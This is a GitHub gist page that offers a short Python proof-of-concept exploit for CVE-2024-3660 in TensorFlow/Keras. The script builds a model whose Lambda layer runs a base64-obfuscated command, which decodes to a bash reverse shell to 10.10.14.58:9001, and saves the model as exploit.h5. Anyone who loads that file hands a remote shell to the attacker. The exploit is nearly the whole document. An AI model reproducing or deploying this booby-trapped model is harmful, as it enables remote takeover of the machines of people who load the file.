Last active
August 21, 2025 12:27
-
-
Save Reelix/27bb37322d89058d8da4751207a95f2c to your computer and use it in GitHub Desktop.
Tensorflow Model Exploit
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# CVE-2024-3660 | |
# https://nvd.nist.gov/vuln/detail/CVE-2024-3660 | |
# https://www.oligo.security/blog/tensorflow-keras-downgrade-attack-cve-2024-3660-bypass | |
import tensorflow as tf | |
def exploit(x): | |
import os | |
os.system("echo YmFzaCAtaSAmPi9kZXYvdGNwLzEwLjEwLjE0LjU4LzkwMDEgPCYx|base64 -d|bash") | |
return x | |
model = tf.keras.Sequential() | |
model.add(tf.keras.layers.Input(shape=(64,))) | |
model.add(tf.keras.layers.Lambda(exploit)) | |
model.compile() | |
model.save("exploit.h5") |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment